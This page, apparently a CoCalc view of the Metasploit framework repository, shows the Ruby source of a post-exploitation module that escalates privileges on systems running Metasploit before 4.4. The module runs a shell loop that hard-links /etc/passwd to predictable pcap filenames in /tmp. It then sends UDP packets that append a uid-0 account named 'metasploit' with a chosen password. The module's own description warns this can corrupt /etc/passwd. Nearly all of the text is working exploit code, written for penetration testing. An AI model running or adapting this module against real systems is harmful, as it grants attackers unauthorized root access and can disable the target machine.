Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/escalate/metasploit_pcaplog.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
Rank = ManualRanking
8
9
include Msf::Post::File
10
11
include Msf::Exploit::Local::Linux
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Multi Escalate Metasploit pcap_log Local Privilege Escalation',
18
'Description' => %q{
19
Metasploit < 4.4 contains a vulnerable 'pcap_log' plugin which, when used with the default settings,
20
creates pcap files in /tmp with predictable file names. This exploits this by hard-linking these
21
filenames to /etc/passwd, then sending a packet with a privileged user entry contained within.
22
This, and all the other packets, are appended to /etc/passwd.
23
24
Successful exploitation results in the creation of a new superuser account.
25
26
This module requires manual clean-up. Upon success, you should remove /tmp/msf3-session*pcap
27
files and truncate /etc/passwd. Note that if this module fails, you can potentially induce
28
a permanent DoS on the target by corrupting the /etc/passwd file.
29
},
30
'License' => MSF_LICENSE,
31
'Author' => [ '0a29406d9794e4f9b30b3c5d6702c708'],
32
'Platform' => %w[bsd linux unix],
33
'SessionTypes' => [ 'shell', 'meterpreter' ],
34
'References' => [
35
[ 'BID', '54472' ],
36
[ 'URL', 'http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html'],
37
[ 'URL', 'https://community.rapid7.com/docs/DOC-1946' ],
38
],
39
'DisclosureDate' => '2012-07-16',
40
'Stance' => Msf::Exploit::Stance::Passive,
41
'Notes' => {
42
'Stability' => [SERVICE_RESOURCE_LOSS],
43
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES],
44
'Reliability' => []
45
}
46
)
47
)
48
register_options(
49
[
50
Opt::RPORT(2940),
51
OptString.new('USERNAME', [ true, 'Username for the new superuser', 'metasploit' ]),
52
OptString.new('PASSWORD', [ true, 'Password for the new superuser', 'metasploit' ]),
53
OptInt.new('MINUTES', [true, 'Number of minutes to try to inject', 5])
54
]
55
)
56
end
57
58
def normalize_minutes
59
datastore['MINUTES'].abs
60
rescue StandardError
61
0
62
end
63
64
def run
65
fail_with(Failure::NotFound, '/etc/passwd not found on system') unless file_exist?('/etc/passwd')
66
67
initial_size = read_file('/etc/passwd').lines.count
68
print_status("/etc/passwd is currently #{initial_size} lines long")
69
70
print_status("Setting up the victim's /tmp dir")
71
72
username = datastore['USERNAME']
73
i = 0
74
j = 0
75
loop do
76
# Setup links to /etc/passwd
77
if (i == 0)
78
j += 1
79
break if j >= datastore['MINUTES'] + 1 # Give up after X minutes
80
81
# 0a2940: cmd_exec is slow, so send 1 command to do all the links
82
print_status "Linking /etc/passwd to predictable tmp files (Attempt #{j})"
83
cmd_exec("for i in `seq 0 120` ; do ln /etc/passwd /tmp/msf3-session_`date --date=\"\$i seconds\" +%Y-%m-%d_%H-%M-%S`.pcap ; done")
84
end
85
86
current_size = read_file('/etc/passwd').lines.count
87
88
# passwd file line count has changed
89
break if current_size != initial_size
90
91
# PCAP is flowing
92
pkt = "\n\n" + username + ':' + datastore['PASSWORD'].crypt('0a') + ":0:0:Metasploit Root Account:/tmp:/bin/bash\n\n"
93
vprint_status("Sending /etc/passwd file contents payload to #{session.session_host}")
94
udpsock = Rex::Socket::Udp.create(
95
{
96
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
97
}
98
)
99
udpsock.sendto(pkt, session.session_host, datastore['RPORT'])
100
sleep(1) # wait a second
101
i = (i + 1) % 60 # increment second counter
102
end
103
104
if read_file('/etc/passwd').includes?('Metasploit')
105
print_good("Success. You should now be able to login or su to the '#{username}' account")
106
# TODO: Consider recording our now-created username and password as a valid credential here.
107
else
108
print_error("Failed, the '#{username}' user does not appear to have been added")
109
end
110
# 0a2940: Initially the plan was to have this post module switch user, upload & execute a new payload
111
# However beceause the session is not a terminal, su will not always allow this.
112
end
113
end
114
115